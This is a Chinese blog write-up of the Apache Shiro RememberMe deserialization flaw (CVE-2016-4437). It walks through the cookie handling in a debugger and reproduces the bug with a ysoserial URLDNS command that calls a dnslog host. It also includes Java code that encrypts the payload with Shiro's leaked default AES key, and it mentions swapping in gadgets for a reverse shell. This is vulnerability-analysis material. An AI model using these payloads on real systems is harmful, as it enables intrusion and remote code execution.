CVE-2016-4437Apache Shiro RememberMe UnSerialized RCE分析

2020-05-28 约 217 字 预计阅读 2 分钟

声明:本文 【CVE-2016-4437Apache Shiro RememberMe UnSerialized RCE分析】 由作者 Al1ex 于 2020-05-28 09:40:42 首发 先知社区 曾经 浏览数 169 次

感谢 Al1ex 的辛苦付出!

影响范围

Apache Shiro <=1.2.4(由于密钥泄露的问题, 部分高于1.2.4版本的Shiro也会受到影响)

漏洞类型

反序列化导致RCE

漏洞概述

Apache Shiro 是ASF旗下的一款开源软件,它提供了一个强大而灵活的安全框架,提供身份验证、授权、密码学和会话管理。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中,攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令~

漏洞分析

环境搭建

下载漏洞文件:

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4


导入IDEA:

修改pom.xml文件,添加以下依赖项(否则无法识别jsp标签):

<dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
            <scope>runtime</scope>
        </dependency>

之后部署该项目,首先添加本地tomcat环境:

之后添加项目到Tomcat:

之后启动Tomcat,在浏览器中访问项目:


至此,环境搭建完成~

Issues分析

官方给出以下Issues:https://issues.apache.org/jira/browse/SHIRO-550

从上面可以了解到,在默认情况下Shiro会使用CookieRememberMeManager功能,当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行~

动态调试分析

定位漏洞文件

鉴于Issues的描述,我们跟踪RememberMeManager到shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\RememberMeManager.class中,发现其中并没有硬编码的加密密钥:

于是,跟踪其父类AbstractRememberMeManager查看,发现经过base64硬编码的秘钥,因为 AES 是对称加密,即加密密钥也同样是解密密钥:

之后继续向上跟踪查看AbstractRememberMeManager类需要实现RememberMeManager接口有哪些:登陆认证(成功、失败)、退出登录

设置RememberMe

基于issues中当来自未经身份验证的用户的请求时,才会涉及:检索cookie中RememberMe的值、Base64解码、使用AES解密 、反序列化操作,所以不妨直接在AbstractRememberMeManager的onSuccessfulLogin处下断点,之后使用初始化的用户模拟未经身份验证的用户进行登录操作,先来跟踪一下RememberMe的生成流程:

之后点击debug开启Tomcat服务:

之后点击页面的Log in进入登录认证页面,使用系统用户root/secret进行登录,并勾选"Remember Me"(这一点非常非常重要),之后点击"Login"进行登录:

之后成功来到我们的断点处:

此处的forgetIdentity主要用来初始化构造一些请求和响应的字段:

之后调用重载方法forgetIdentity设置cookie与常见的一些字段:



之后判断this.isRememberMe(token)是否为空,由于我们在登陆认证时勾选了rememberme的选项框所以这里不为空,会继续走到rememberIdentity函数中,而该函数重要用于生成cookie中的remember的值,也是该漏洞的关键点,我们继续跟进:

之后继续跟进该函数,可以看到rememberIdentity函数首先会调用getIdentityToRemember函数来获取用户身份,也就是"root":

接着我们跟进rememberIdentity构造方法,从函数命名上来看这里会将用户的身份也就是"root"转换成字节,我们下面跟进看看:

序列化操作

从下面的代码中可以看到,此出会对principals(即:root)进行一次序列化操作,之后当CipherService即加密服务不为空的情况下会进行一次加密操作:

之后跟进该序列化操作,可以看到序列化的类为PrincipalCollection:

最终在DefaultSerializer类中的serialize方法中完成序列化操作:

AES加密操作

之后跟进加密操作函数encrypt:

encrypt函数中通过getCipherService来获取当前的加密方式,之后使用GetEncryptionCipherKey来获取加密秘钥,可以看到这里使用的加密方式为AES/CBC/PKCS5Padding,之后通过cipherService.encrypt来实现对root的加密:

跟进getEncryptionCipherKey函数发现,发现encryptionCipherKey为常量值:

而在该类的构造函数中会调用this.setCipherKey对encryptionCipherKey进行初始化赋值操作,而初始化参数为DEFAULT_CIPHER_KEY_BYTES,所以这里AES的加密解密秘钥由DEFAULT_CIPHER_KEY_BYTES指定:

之后就是一些加密操作了,我们直接一路F8跳过即可,之后返回rememberIdentity

Base64编码

之后跟进rememberSerializedIdentity函数,在此处会将序列化后的cookie进行base64编码,之后再将base64编码后的cookie信息进行存储:

设置cookie

之后调用saveTo方法保存cookie


至此,正向的Cookie的生成方式分析完毕,下面反向跟踪分析Cookie中Remember的解析过程,也是最终触发反序列化的过程~

检索RememberMe

使用burpsuite构造以下请求并在shiro\shiro-core\1.2.4\shiro-core-1.2.4.jar!\org\apache\shiro\mgt\AbstractRememberMeManager.class的getRememberedIdentity处下断点进行调试,之后跟进getRememberedPrincipals:

下面的getRememberSerializedIdentity主要用于提取cookie并进行base64解码操作,而convertBytesToPrincipals主要用于AES解密:

之后跟进getRememberedSerializedIdentity,在此处会调用getCookie来检索Cookie:

之后跟进getCookie函数,此时返回为空:

之后再次跟进readValue函数,此时进行取cookie操作:

Base64解密

之后回到getRememberedSerializedIdentity函数中继续往下分析,之后会对cookie进行一次base64解密操作:

最后以字节数组的形式返回bas64解密后的cookie值:

之后回到getRememberedPrincipals函数,接着会进入到convertBytesToPrincipals函数中,进行AES解密和反序列化:

跟进convertBytesToPrincipals函数,可以看到此处会先进行AES解密,之后将解密的结果反序列化后返回:

AES解密

下面跟进decrypt方法,可以看到此处会继续调用cipherService.decrypt:

下面继续跟进,最终调用decrypt函数:

之后返回AES解密后的数据:

反序列化操作

之后进入到deserialize中,继续跟进:


最后会进入到进DefaultSerializer类的deserialize函数,并在此处调用readobject完成反序列化操作,从而触发反序列化操作:

漏洞复现

这里提供一种较为简单通用的漏洞检测方式——Ysoserial的URLDNS这个Gadget + DNSLog,因为URLDNS这一个Gadget不依赖于任何第三方依赖,只与JDK底层相关,该利用链如下所示,这里就不再展开了,有兴趣的可以了解一下:

HashMap.readObject() 
    -> HashMap.hash() 
        -> URL.hashCode() 
            -> URLStreamHandler.hashCode() 
                -> URLStreamHandler.getHostAddress()

下面是漏洞复现的具体的操作流程:

生成Gadget

首先,使用Ysoserial来生成URLDNS的Gadget:

java -jar ysoserial.jar URLDNS "http://eamhcf.dnslog.cn" > poc.ser

AES加密操作

使用JAVA实现对Gadget进行一次AES加密处理:

package ysoserial;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(Paths.get("C:\\Users\\Hepta\\Desktop\\ysoserial\\poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

Base64加密处理

发送恶意请求

一段时间后得到回显:

DNSLog接收到请求:

由此,确定漏洞的存在~
PS:在实战中如果需要反弹shell时可以使用Ysoserial的其他Gadget,之后进行AES加密、Base64加密,然后构造特定的请求即可,这里这对该漏洞做一个简要的分析与检测,深入利用不再赘述,有兴趣的可以去了解一下~

漏洞修复

Shiro 版本至 1.2.5 以上

参考链接

https://issues.apache.org/jira/browse/SHIRO-550
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
https://paper.seebug.org/shiro-rememberme-1-2-4/
http://saucer-man.com/information_security/396.html
https://www.cnblogs.com/panisme/p/12552838.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now